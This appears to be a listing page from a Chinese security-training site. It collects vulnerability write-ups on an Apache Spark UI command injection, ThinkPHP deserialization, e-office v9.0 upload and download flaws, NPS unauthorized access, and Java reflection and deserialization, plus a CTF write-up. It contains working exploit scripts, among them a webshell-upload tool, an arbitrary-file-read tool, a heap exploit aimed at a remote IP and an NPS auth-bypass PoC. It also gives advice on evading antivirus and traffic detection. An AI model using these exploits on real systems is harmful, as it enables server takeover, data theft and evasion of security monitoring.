蚁景网安 - 网络安全人才培养服务提供商

Apache Spark UI 命令注入漏洞 CVE-2022-33891

漏洞简介 Apache Spark UI 提供了通过配置选项 spark.acls.enable。使用身份验证过滤器，这检查用户是否有访问权限来查看或修改应用。如果启用了 ACL，则 HttpSecurityFilter 中的代码路径可以允许某人通过提供任意用户名来执行模拟。然后恶意用户可能能够访问权限检查功能，最终将根据他们的输入构建一个 Unix shell 命令，并且执行它。这将导致任意 shell 命令执行。影响版本：Apache Spark 版本 3.0.3 及更早版本，版本 3.11 至 3.1.2 ，以及版本 3.2.0 至 3.2.1 漏洞复现　　下载 Apache Spark 3.2.1 https://archive.apache.org/dist/spark/ 　　https://archive.apache.org/dist/spark/spark-3.2.1/spark-3.2.1-bin-hadoop2.7.tgz 　　根据描述是需要开启 acl 功能才可以触发漏洞　　开启 ACL 可以通过设定启动时的参数 ./spark-shell --conf spark.acls.enable=true 或者在 conf/spark-defaults.conf 中添加 spark.acls.enable true 　　‍ 　　构造 poc http://localhost:4040/?doAs=`[command injection here]` 漏洞分析　　为了方便调试在启动脚本中添加上调试参数 export SPARK_SUBMIT_OPTS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005" 　　输入错误的执行语句时的报错信息　　‍ 　　漏洞的触发大概就在 org.apache.spark.security.ShellBasedGroupsMappingProvider.getUnixGroups 　　漏洞的调用栈应该为 org.apache.spark.ui.HttpSecurityFilter.doFilter(HttpSecurityFilter.scala:71) org.apache.spark.SecurityManager.checkUIViewPermissions(SecurityManager.scala:238) org.apache.spark.SecurityManager.isUserInACL(SecurityManager.scala:381) org.apache.spark.util.Utils$.getCurrentUserGroups(Utils.scala:2523) org.apache.spark.security.ShellBasedGroupsMappingProvider.getGroups(ShellBasedGroupsMappingProvider.scala:34) org.apache.spark.security.ShellBasedGroupsMappingProvider.getUnixGroups(ShellBasedGroupsMappingProvider.scala:43) 　　加上断点进行调试分析　　org.apache.spark.ui.HttpSecurityFilter#doFilter 　　获取到参数 doAS 赋值为 effectiveUser 传到函数 checkUIViewPermissions 　　org.apache.spark.SecurityManager#checkUIViewPermissions 　　org.apache.spark.SecurityManager#isUserInACL 　　org.apache.spark.util.Utils$#getCurrentUserGroups 　　org.apache.spark.security.ShellBasedGroupsMappingProvider#getGroups 　　org.apache.spark.security.ShellBasedGroupsMappingProvider#getUnixGroups 　　通过反引号将想要执行的命令包含起来，拼接到原本的命令执行语句中　　org.apache.spark.util.Utils$#executeAndGetOutput 　　org.apache.spark.util.Utils$#executeCommand 漏洞补丁　　新版本的修复删除了 ShellBasedGroupsMappingProvider 中的 bash 的调用，最后执行命令的语句应该变为/usr/bin/id -Gn + 传入参数

Nmap抓包分析与绕过Windows防火墙

2022美团CTF个人决赛WP

Reverse ROP 解析data的ROP，一点一点还原 from pwn import * opcode = open('data', 'rb').read() opcode_gadget = opcode[0x30+8:] for offset in range(0, len(opcode_gadget), 8): print(f'{hex(u64(opcode_gadget[offset:offset+8]))}') 提取出来密文，转成64位的 cipher = [0x98, 0x7A, 0xDF, 0x57, 0xC6, 0xE3, 0x18, 0xC7, 0x11, 0x07, 0xC7, 0xD4, 0x02, 0xD2, 0x9E, 0x43, 0x3A, 0xCE, 0x32, 0x04, 0x33, 0x2D, 0x30, 0x30, 0xAB, 0x03, 0x84, 0xB2, 0xA9, 0x09, 0xAA, 0x40] cipher=[int.from_bytes(bytes(cipher[i:i+8]), 'little') for i in range(0,32,8)] 分析gadget都是通过设置rax和参数寄存器，然后call rax触发函数，函数只有4种流程是一开始将一个32位字符放到bss段中，这个bss贴近我们输入放入bss段的位置，参与到运算然后开始rop链，读取42个字符，提取uuid中32位字符，进行加密运算，运算的最后一部分是swap的操作，测试得知顺序改变为[2,3,0,1] 最后对比密文跳转结果照着指令写一个逆回来的过程 #include <stdio.h> #include <stdlib.h> #include <stdint.h> uint64_t bss_flag[] = {3472325009839672890, 4659547388917318571, 14346467054006008472, 4872562756463036177, 3545518422457791288, 3689401600665085541, 3906648618554712880, 7004559110426617186}; void add(int i,int j){ bss_flag[i] -= bss_flag[j]; } void sub(int i,int j){ bss_flag[i] += bss_flag[j]; } void xor1(int i,int j){ bss_flag[i] ^= bss_flag[j]; } int main(){ sub(0x0,0x7); add(0x1,0x5); sub(0x3,0x7); add(0x0,0x5); add(0x0,0x7); sub(0x3,0x7); add(0x0,0x5); xor1(0x2,0x5); xor1(0x2,0x5); sub(0x3,0x7); sub(0x2,0x6); xor1(0x0,0x7); add(0x2,0x4); add(0x1,0x4); xor1(0x1,0x7); xor1(0x0,0x7); sub(0x0,0x5); sub(0x0,0x7); sub(0x0,0x5); add(0x1,0x7); xor1(0x1,0x5); add(0x1,0x6); sub(0x1,0x4); xor1(0x2,0x4); add(0x1,0x4); sub(0x0,0x6); sub(0x2,0x7); add(0x1,0x6); sub(0x2,0x5); add(0x0,0x7); xor1(0x3,0x6); add(0x2,0x4); xor1(0x0,0x6); xor1(0x0,0x5); xor1(0x3,0x7); xor1(0x0,0x4); xor1(0x2,0x5); xor1(0x2,0x6); xor1(0x2,0x6); xor1(0x3,0x4); xor1(0x0,0x7); xor1(0x2,0x5); xor1(0x0,0x4); xor1(0x3,0x5); xor1(0x1,0x6); xor1(0x3,0x7); xor1(0x0,0x4); xor1(0x1,0x4); xor1(0x2,0x7); xor1(0x1,0x7); xor1(0x0,0x4); xor1(0x2,0x6); xor1(0x0,0x5); xor1(0x1,0x7); xor1(0x0,0x5); xor1(0x0,0x4); xor1(0x3,0x6); xor1(0x1,0x7); xor1(0x2,0x5); xor1(0x0,0x7); xor1(0x0,0x7); xor1(0x2,0x4); xor1(0x3,0x4); xor1(0x3,0x7); printf("%s",(char *)bss_flag); // flag{eb4781b3-e3c5-475e-8af4-2fa50468f485} } crackme go语言，一开始我ida还f5反编译不了，换了个才可以，难顶直接sm4加密和rc4，sm4密钥写死在代码里 rc4的key在linese.txt里，密文也在里面 exp: from binascii import unhexlify from Crypto.Cipher import ARC4 from sm4 import SM4Key c= unhexlify(b'cc53de43058c79e4e13dbfe4e1ece82ec7d70b0fe460d50a6e2dfbbdac0b22173124ac7dee560b026b9b4cf1394c9493ad62874b4ef2125bbe27f99827d2a801b1b994c90bc31caea1cc9dc09362b518') key = b'd0cac74c1bbeea071817360e491585e8' cipher = ARC4.new(key) m = cipher.decrypt(c) key0 = SM4Key(b'xc08asb890ajds0a') print(key0.decrypt(m)) Misc What is that stegsolve直接切换几个通道就可以看到 pwn hello 直接网上查到kernel pwn qemu 的非预期 ctrl+a然后c进入shell，cat flag没有权限，要再提权，删除/sbin/poweroff然后exit就可以到su权限，再cat flag就可以 heap 一个UAF+数组上溢出这里可以输入负数，可以数组溢出就可以往上泄露地址，泄露出程序基地址后再相同手法修改free_hook就可以。 from pwn import * context.log_level='debug' #p=process('./pwn') p=remote('47.95.8.59',42283) elf=ELF('./pwn') #libc=ELF('/usr/lib/freelibs/amd64/2.27-3ubuntu1.5_amd64/libc.so.6') libc=ELF('./libc.so.6') def add(size): p.sendafter(b'>\n', b'1') p.sendafter(b'add?\n', str(size).encode()) def dele(index): p.sendafter(b'>\n', b'2') p.sendafter(b'up?\n', str(index).encode()) def edit(index,size,content): p.sendafter(b'>\n', b'3') p.sendafter(b'write?\n', str(index).encode()) p.sendafter(b'write?\n', str(size).encode()) p.sendafter(b'Content:', content) def show(index): p.sendafter(b'>\n', b'4') p.sendafter(b'review?\n', str(index).encode()) show(-11) p.recvuntil('Content:') probase=u64(p.recv(6).ljust(8,b'\x00'))-0x4008 arraddr=probase+0x4060 add(0x10) add(0x10) add(0x10) dele(0) dele(1) dele(2) edit(1,8,p64(arraddr)) add(0x10) add(0x10) add(0x10) edit(2,8,p64(probase+elf.got['puts'])) show(0) libc_base=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.symbols['puts'] free_hook=libc_base+libc.symbols['__free_hook'] system=libc_base+libc.symbols['system'] edit(2,8,p64(free_hook)) edit(0,8,p64(system)) add(0x10) edit(3,8,b'/bin/sh\x00') dele(3) p.interactive()

Java反序列化之C3P0链学习

ThinkPHP6.0.13反序列化漏洞分析

1. 前言最近有点闲下来了，不找点事干比较难受，打算找点漏洞分析一下，于是就打算看看TP的一些漏洞，ThinkPHP6.0.13是TP的最新版，八月份有师傅提交了一个issue指出TP存在反序列化问题，网上也有些师傅分析了一波，不过断点下的比较多，而且部分方法没有阐明其用途，所以我也尝试详细的分析一波。下面先给出POC 2. 分析首先看看POC的起始点发现起始点在Psr6Cache这个类，我们进入这个类，不过没有发现__destruct或者__wakeup等常见的反序列化起始魔术方法，推测应该在其父类AbstractCache这个抽象类中。跟入AbstractCache类如图，成功发现本次反序列化链子的起始类。这里我们可以控制autosave这个属性为false，从而进入save方法。回到Psr6Cache类查看这个方法可以发现，pool属性和key属性我们都可控。因此可能存在两种路线，调用不同类的同名方法（getItem）。或者是直接尝试触发__call方法。我们来看看POC作者是怎么让反序列化进行下去的。作者用构造方法传入了exp，exp其实就是在实例化Channel类。我们进入Channel类查看 Channel类中有一个__call方法，那么作者是选择触发__call来让链子继续下去。这个call方法接受了两个参数，method是写死的(getItem)，parameters是可控的（即前面可控的key属性）跟入log方法查看，其接受三个传参（但是其实对后续的链子没啥用），传入record方法跟入record方法再返回查看作者的POC，发现其控制lazy属性为false，让函数进入最后一个if分支执行save方法那么save方法应该是比较关键的方法了，跟入save方法，这里面有三个可能被利用的点，作者选择了哪一个呢？根据POC不难发现作者选择了控制logger属性，利用构造函数对其赋值，令其为Socket类的对象在这个类中，我们找到了一个复杂的同名方法，其中有大量的操作。我们继续来看作者是怎么构造的，作者控制config属性，给其赋值为数组。数组有如下内容关键在于这两个键值，作者控制config，让程序运行到调用invoke方法的分支同时，app属性可控，作者令app属性为App类的对象，我们进入App类这里先看看App类的的exists方法的情况，在其父类中找到了这个方法继续往后，这里对App类进行了唯一一个操作，控制了instances属性的值。这里控制其值是为了进入Request类，并且执行url方法作者在这里对Request类做出唯一的操纵，就是控制url属性的值。可以看出，如果url属性存在，那么就会进入第一个分支，其值等于本身。同时又注意到，complete我们之前传入的是true。因此最终返回的结果就是$this->domain().$url，url我们已经控制了，那么domain方法返回什么呢？ OK，这点我们就不用看了。分析了这么多，我们得到了$currentUri最后的值，就是： http://localhost/<?php system(\'calc\'); exit(); ?> currentUri作为一个数组被传入invoke了，根据链子的长度，达到invoke，我们的反序列化之旅就快结束了查看invoke，App类找不到这个方法，在他的父类里找到了这个方法这里可以看到。这个函数内有三分支走向，那么最终会走向哪里呢？根据我们之前$config[‘format_head’]的传入，首先我们传入的这个对象不是Closure的实例或者子类，并且也不满足第二个分支的条件因此进入到到第三个分支。我们跟进invokeMethod()方法。这里传入的$callabel就是[new \think\view\driver\Php,'display']、而$vars就是[‘http://localhost/<?php system(\'calc\'); exit(); ?>’] 注意，我们传入的$method是数组，因此进入第一个分支。把new \think\view\driver\Php （即对象）赋值给$class，’display’（即方法名）赋值给新的$method。然后下面进行了一个判断，如果$class是对象，那么其值就为它本身，因为我们传入的是对象，所以这里没什么变化。然后进入最关键的代码可以看到，把对象new \think\view\driver\Php 以及方法 display传入了ReflectionMethod。在最后，调用invokeArgs方法，传入了new \think\view\driver\Php对象，同时传入了$args 那么args是什么呢？我们跟入之后发现是一个处理函数，因为本人比较懒，而且到这都快分析完了，就不去硬读了，直接给结论，总之我们传入的 $vars ，也即 [‘http://localhost/<?php system(\'calc\'); exit(); ?>’] 其中的关键部分<?php system(\'calc\'); exit(); ?>保留了下来，并且进入到了后续的传参中继续往后看，对于这个函数(invokeArgs)，可以简单的类比call_user_func()，因此最后的关键代码其实只有这两行也即 $reflect = new ReflectionMethod(new \think\view\driver\Php,’display’); return $reflect->invokeArgs(new \think\view\driver\Php,’ <?php system(\'calc\'); exit(); ?>’) 常看tp反序列化的朋友就知道，已经结束咧！毕竟调用display方法了。但是上述这个调用ReflectionMethod类的操作到底是什么呢？我们可以借助如下实例来演示。所以说这玩意和call_user_func很像最后是display方法，没什么好说的了，content传入display方法中，eval执行命令了 3. 结语 TP的链子一如既往的有意思（以及复杂），特别是最后的ReflectionMethod类的用法上，如果不了解这个类以及类中的方法组合可以实现类似call_user_func函数的作用的话，那么就很容易错过这样一个精彩的漏洞。

记一次MCMS的审计之路

E-office Server_v9.0 漏洞分析

漏洞简介　　泛微e-office是一款标准化的协同OA办公软件，实行通用化产品设计，充分贴合企业管理需求，本着简洁易用、高效智能的原则，为企业快速打造移动化、无纸化、数字化的办公平台。由于泛微 E-Office 未能正确处理上传模块中输入的数据，未授权的攻击者可以构造恶意数据包发送给服务器，实现任意文件上传，并且获得服务器的webshell，成功利用该漏洞可以获取服务器控制权。未授权的攻击者可以构造恶意的数据包，读取服务器上的任意文件　　漏洞影响范围 E-office Server_v9.0 　　默认安装位置是 d:\eoffice 在虚拟机内安装没有 D 盘，所以安装位置是 c:\eoffice 　　安装完成后，服务默认在 8082 端口通过主机名或 ip 地址都可以访问到　　代码位置在 C:\eoffice\webroot 同样代码也是被加密了的　　通过免费的解密网站获得了加密的具体信息 ZEND加密PHP5.2版本 http://www.phpjm.cc/ 　　利用工具进行批量的解密，因为工具点击一次只能进行一次解密，所以利用模拟点击的工具进行模拟点击 https://github.com/taojy123/KeymouseGo 任意文件上传漏洞漏洞利用　　/general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId= 　　‍ POST /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId= HTTP/1.1 Host: 10.0.21.14:8082 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryykJoMlQs3JMOsgi3 Content-Length: 175 ------WebKitFormBoundaryykJoMlQs3JMOsgi3 Content-Disposition: form-data; name="Filedata"; filename="1.php" <?php phpinfo();?> ------WebKitFormBoundaryykJoMlQs3JMOsgi3-- 　　上传文件的地址 http://10.0.21.14:8082/images/logo/logo-eoffice.php 漏洞分析　　漏洞的主要位于 general/index/UploadFile.php 　　通过 $_GET 方法获取的参数 m，调用 UploadFile 中的任意方法　　我们选择其中的 uploadPicture 方法　　没有对传入的文件进行过滤，如果传入一个 php 文件，命名为 1.php 最后上传文件会变为 logo-eoffice.php 传入的位置是$_SERVER['DOCUMENT_ROOT']."/images/logo/" 利用脚本 import sys import requests def request_shell(url): targeturl = url + "/images/logo/logo-eoffice.php" response = requests.get(targeturl) if(response.status_code == 200): print("获取 shell 成功，shell地址为："+targeturl) def request_upload(url,data): targeturl = url + "/general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId=" targetfile = {'Filedata':('upload.php',data,'text/plain')} response = requests.post(url = targeturl, files = targetfile) if(response.status_code == 200): print("上传成功") def read_uploadfile(url,filename): with open(filename) as f: data = f.read() request_upload(url,data) def upload_file(url,filename): if (filename == "phpinfo.php"): data = "<?php phpinfo(); ?>" request_upload(url,data) else: read_uploadfile(url,filename) def main(): if len(sys.argv) < 3: print("Usage: upload_file.py targeturl filename\n" "Example: python upload_file.py http://10.0.21.14:8082 phpinfo.php") exit() url = sys.argv[1] filename = sys.argv[2] upload_file(url,filename) request_shell(url) if __name__ == '__main__': main() 任意文件下载漏洞漏洞利用　　‍ GET /inc/attach.php?path=/../../../../../1.txt HTTP/1.1 Host: 10.0.21.14:8082 Origin: http://10.0.21.14:8082 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Accept: */* Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close 　　‍ 　　‍ 漏洞分析　　inc/attach.php 　　‍ 　　直接传入参数 $path 最后会读取 $path 的内容并将结果返回出来，我们注意到利用未授权就可将文件下载下来，从代码层面并没有看出来原因，但是通过浏览器直接访问时无法访问到，进行了 302 跳转，通过 burpsuite 就可以访问到，攥写脚本禁止 302 跳转也可以读取出来。　　漏洞的主要来源位于　　我们看一下文件的下载链接利用脚本 import sys import requests import re def save_reponse(re_result,filename): filename=re.findall("[^/]+quot;,filename)[0] # print(filename) with open(filename, 'w',encoding='gb18030') as f: f.write(re_result) def re_response(response): re_result = response[1507:] return re_result def read_file(url,filename): targeturl = url + "/inc/attach.php?path="+filename response = requests.get(url = targeturl, allow_redirects=False) # print(response.text) re_result = re_response(response.text) print(re_result) save_reponse(re_result,filename) def main(): if len(sys.argv) < 3: print("Usage: upload_file.py targeturl filename\n" "Example: python read_file.py http://10.0.21.14:8082 attach.php") exit() url = sys.argv[1] filename = sys.argv[2] read_file(url,filename) if __name__ == '__main__': main() 　　还有一些 SQL 注入漏洞，还可以继续进一步的进行审计分析。

NPS之Socks流量分析以及未授权复现

前言因为想要写一个socks的流量算法去绕过安全设备，所以这里对nps的流量特征总结一下，方便自己后期的魔改。环境 ubuntu 16.04 vps server windows server 2012R2 clinet mkdir nps cd nps wget https://github.com/ehang-io/nps/releases/download/v0.26.10/linux_amd64_server.tar.gz tar -zxvf linux_amd64_server.tar.gz ./nps install cd /etc/nps/conf/ vim nps.conf 配置文件 #web web_host=a.o.com web_username=xxxx //管理端用户名 web_password=xxxxxx //管理端密码 web_port = xxxxx //管理端端口 web_ip=0.0.0.0 web_base_url= web_open_ssl=false web_cert_file=conf/server.pem web_key_file=conf/server.key #web_base_url=/nps ##bridge bridge_type=tcp //客户端连接协议tcp bridge_port=xxxx //客户端连接端口 bridge_ip=0.0.0.0 bridge_port的默认端口默认为8024，这里不建议改为默认的，连接客户端的时候可能会触发安全设备规则 NPS未授权复现 POC #encoding=utf-8 import time import hashlib now = time.time() m = hashlib.md5() m.update(str(int(now)).encode("utf8")) auth_key = m.hexdigest() print("Index/Index?auth_key=%s&timestamp=%s" % (auth_key,int(now)) 直接访问 http://vps:port?payload exp请求接口 POST /client/list HTTP/1.1 Host: vps:port User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest Content-Length: 98 Origin: http://vps:port Connection: close Referer: http://vps:port/client/list search=&order=asc&offset=0&limit=10&auth_key=805df7d1f7bf3b662939ca091174e6b4&timestamp=1659948547 参考链接： https://mp.weixin.qq.com/s/PTq01wcV4XJwutbSjHjfvA修复措施 vim /etc/nps/conf/nps.conf取消注释auth_key,添加auth_crypt_key`注释 auth_key=test#auth_crypt_key =!QAZ4rfv%TGB^YHN 修改为 auth_key=test#auth_crypt_key =!QAZ4rfv%TGB^YHN 目前最新版本的也存在改配置不当问题，这里需要修改配置，修复之后是无法通过未授权读取内容信息的。 socks流量分析 nps start 访问http://vps:port/login 新增客户端这里用户名和密码随意，这里是客户端登录的认证用户名，在客户端连接的时候是根据密钥来实现的。客户端选择windwos server 2012R2 修改客户端配置文件 [common] server_addr=vps:port conn_type=tcp vkey=xxxx auto_reconnection=true max_conn=1000 flow_limit=1000 rate_limit=1000 basic_username=11 basic_password=3 web_username=xxxx web_password=xxxxx crypt=true compress=true #pprof_addr=0.0.0.0:9999 disconnect_timeout=60 客户端启动 npc.exe -server=vps:port -vkey=xxxxx -type=tcp 正常情况下会报毒，所以这里针对杀软这一块儿，客户端需要做一下免杀处理。查看连接状态使用goby测试socks5 测试代理已成功实现内网穿透。这里使用wireshark抓取流量包，初始流量服务器向客户端发送TST 同时客户端向服务端确认版本，同时返回客户端版本0.26.0 代码位置nps/lib/version/version.go 服务端接收到请求后，客户端请求的数据内容为nps的版本为0.26.10 服务端接收到请求后返回给客户端服务端版本的md5值，即 md5(0.26.0)=89a4f3fc3c89257d6f712de6964bda8e 可以发现在产生nps客户端连接的时候,会产生数据校验，这里数据校验就是有服务器到这是客户端传输给服务端密钥连接 md5(vkey) 服务端在接收到客户端的请求后校验数据后返回success 这里客户端和服务端的连接流量就比较清晰了，那么想要bypass安全设备的告警，在修改加密方式和修改版本关键字即可，因为在做流量隐藏的时候跟bypassav不一样，不会考虑文件的哈希以及文件在沙箱中的落地状态。

实例解析Java反射

反射是大多数语言里都必不不可少的组成部分，对象可以通过反射获取他的类，类可以通过反射拿到所有方法（包括私有），拿到的方法可以调用，总之通过“反射”，我们可以将Java这种静态语言附加上动态特性。什么是反射 java的反射是指在运行状态中，对于任意一个类都能够知道这个类所有的属性和方法，并且对于任意一个对象。基本形式 public void execute(String className, String methodName) throws Exception { Class clazz = Class.forName(className); clazz.getMethod(methodName).invoke(clazz.newInstance()); } 上面的例子中，我演示了几个在反射里极为重要的方法：获取类的方法： forName实例例化类对象的方法： newInstance获取函数的方法： getMethod执行函数的方法： invoke 反射的作用：让Java具有动态性，修改已有对象的属性，动态生成对象，动态调用方法，操作内部类和私有方法在反序列化漏洞中的应用定制需要的对象，通过invoke调用除了同名函数以外的函数，通过class类创建对象，引入不能序列化的类 java反射举例此处引用白日梦组长的例子，具体讲解一下反射。先写一个Person作为我们下面演示的原型类 public class Person { private String name; public int age; public void act(){ System.out.println("test"); } @Override public String toString() { return "Persion{" + "name='" + name + '\'' + ", age=" + age + '}'; } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } public Person() { } public Person(String name, int age) { this.name = name; this.age = age; } } 获取原型类使用forName方法 Class c = Class.forName("Person"); 在此也写一种基于ClassLoader的动态类加载方式 this.getClass().getClassLoader().loadClass("Person"); 从原型class里面实例化对象利用构造函数实例化 Constructor constructor = c.getConstructor(String.class,int.class); Person p1 = (Person) constructor.newInstance("abc",22); 我们来逐行写一下分析 Constructor constructor = c.getConstructor(String.class,int.class); 这一行是为了获取原型类中重载的构造方法 public Person(String name, int age) { this.name = name; this.age = age; } 对构造方法进行传参实例化一个对象 Person p1 = (Person) constructor.newInstance("abc",22); 我们可以打印一下p1看一下返回结果获取类里面的属性 private String name; public int age; public Field ageField = c.getField("age"); ageField.set(p1,11); private Field nameField = c.getDeclaredField("name"); nameField.setAccessible(true); nameField.set(p1,"xinyuan"); 获取类方法 Method actmethod = c.getMethod("act",String.class); actmethod.invoke(p1,"SKyMirror"); getMethod 与上面的获取构造函数类似，第一个参数是函数名，第二个是传参的类型 invoke方法第一个传入对象，第二个是传入参数值利用URLDNS（反射）这条链子算是反射的一个简单应用。利用点 URL这个类重写了hashCode方法，导致在执行hashCode的时候，此利用点不能命令执行，但是会请求DNS，所以被用来验证是否存在反序列化漏洞。源码如下：可以看到当我们调用一次hashCode方法，他会对传进去的URL对象发起请求，即我们如果去DNSLOG申请一个地址，根据访问来判断是否成功执行了hashCode方法进而判断是否执行了反序列化的操作。 URL这个类实现了java.io.Serializable，可以进行序列化的操作。因此，在这里我们可以验证一下我们上面的想法。链子这个链子也比较短，比较简单，主要是利用HashMap来执行hashCode方法 HashMap实现了Serializable可以序列化，此处注意反序列化时HashMap的readObject方法我们跟进一下hash方法 key参数可控，key又是由反序列化的时候生成的。在HashMap中用put传入一个URL的对象，即可在反序列化的时候调用到此方法，从而触发整个链子。有一点需要注意，我们在序列化的时候，进行的put传参会修改掉传入的URL对象的hashCode的值，因为hashCode值不等于-1，从而导致无法正常触发下面的方法，即无法触发DNS请求。同时在正常put传参的时候会执行一次DNS请求，所以我们在put传参之前修改hashCode的值（不为-1就行），传参之后修改hashCode为-1，在反序列化的时候就可以正常执行了。 payload如下 public static void main(String[] args) throws Exception{ HashMap <URL,Integer> hashMap = new HashMap<>(); URL u = new URL("http://i2loelbsvarbmabqf89qi9k88zep2e.burpcollaborator.net/"); Class c = u.getClass(); //在进行put方法传参之前修改URL对象的hashCode值 Field hashcodeField = c.getDeclaredField("hashCode"); hashcodeField.setAccessible(true); hashcodeField.set(u,123); hashMap.put(u,123); //修改URL对象的hashCode值为-1 hashcodeField.set(u,-1); serialize(hashMap); }

Java反序列化之原生

早就想学java安全，但一直无从下手，今天下定决心好好学习，当然以下内容可能会有些许错误，小白的烦恼。序列化与反序列化 Java序列化是指把Java对象转换为字节序列的过程；而Java反序列化是指把字节序列恢复为Java对象的过程。序列化分为两大部分：序列化和反序列化。序列化是这个过程的第一部分，将数据分解成字节流，以便存储在文件中或在网络上传输。反序列化就是打开字节流并重构对象。对象序列化不仅要将基本数据类型转换成字节表示，有时还要恢复数据。恢复数据要求有恢复数据的对象实例。为什么需要序列化与反序列化我们知道，当两个进程进行远程通信时，可以相互发送各种类型的数据，包括文本、图片、音频、视频等，而这些数据都会以二进制序列的形式在网络上传送。那么当两个Java进程进行通信时，能否实现进程间的对象传送呢？答案是可以的。如何做到呢？这就需要Java序列化与反序列化了。换句话说，一方面，发送方需要把这个Java对象转换为字节序列，然后在网络上传送；另一方面，接收方需要从字节序列中恢复出Java对象。当我们明晰了为什么需要Java序列化和反序列化后，我们很自然地会想Java序列化的好处。其好处一是实现了数据的持久化，通过序列化可以把数据永久地保存到硬盘上（通常存放在文件里），二是，利用序列化实现远程通信，即在网络上传送对象的字节序列。 ① 想把内存中的对象保存到一个文件中或者数据库中时候；② 想用套接字在网络上传送对象的时候；③ 想通过RMI传输对象的时候为什么会产生安全问题？只要服务端反序列化数据，客户端传递类的readObject中代码会自动执行，给予攻击者在服务器上运行代码的能力。几种常见的序列化和反序列化协议 XML&SOAP JSON Protobuf 理解类比快递、打包和拆包有些快递打包和拆包时有独特需求、比如易碎朝上，类比重写writeObject和readObject 实例 Java反序列化的操作，很多是需要开发者深入参与的，所以你会发现大量的库会实现readObject 、writeObject 方法，这和PHP中__wakeup 、__sleep 很少使用是存在鲜明对比的。我在《Java安全漫谈 - 06.RMI篇(3)》的最后一部分，讲到了classAnnotations ，这次再来说说objectAnnotation 。Java在序列化时一个对象，将会调用这个对象中的writeObject 方法，参数类型是ObjectOutputStream ，开发者可以将任何内容写入这个stream中；反序列化时，会调用readObject ，开发者也可以从中读取出前面创建一个person类 import java.io.IOException; import java.io.ObjectInputStream; import java.io.Serializable; public class Person implements Serializable { private String name; private int age; public Person(){} public Person(String name,int age){ this.name=name; this.age=age; } @Override public String toString() { return "Person{"+ "name='" + name + "\'" + ",'age=" + age + '}'; } } 创建一个序列化类 import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; public class SerializationTest { public static void serialize(Object obj) throws IOException { ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static void main(String[] args) throws Exception{ Person person=new Person("xinyuan",22); serialize(person); System.out.println(person); } } 创建一个反序列化类 import java.io.FileInputStream; import java.io.IOException; import java.io.ObjectInputStream; public class UnserializationTest { public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois=new ObjectInputStream(new FileInputStream("ser.bin")); Object obj = ois.readObject(); return obj; } public static void main(String[] args) throws Exception{ Person person=(Person) unserialize("ser.bin"); System.out.println(person); } } 可能的形式 1.入口类的readObject直接调用危险方法在person类，重写readObject方法，序列化后，反序列化 2.入口类参数中包含可控类，该类有危险方法，readObject时调用。 3.入口类参数包含可控类，该类又调用其他有危险方法的类，readObject时调用条件共同条件继承Serializable 入口类 source（重写readObject 参数类型宽泛最好jdk自带） Map<Object ,Object> 调用链 gadget chain 相同名称，相同类型执行类 sink（rce ssrf 写文件等等） https://github.com/frohoff/ysoserial/

第2页第3页第4页第5页第6页第7页第8页第9页第10页第11页第12页第13页第14页第15页第16页第17页第18页第19页第20页第21页第22页第23页第24页第25页第26页第27页第28页第29页第30页第31页第32页第33页第34页第35页第36页第37页第38页第39页第40页第41页第42页第43页第44页第45页第46页第47页第48页第49页第50页第51页第52页第53页第54页第55页第56页第57页第58页第59页第60页第61页第62页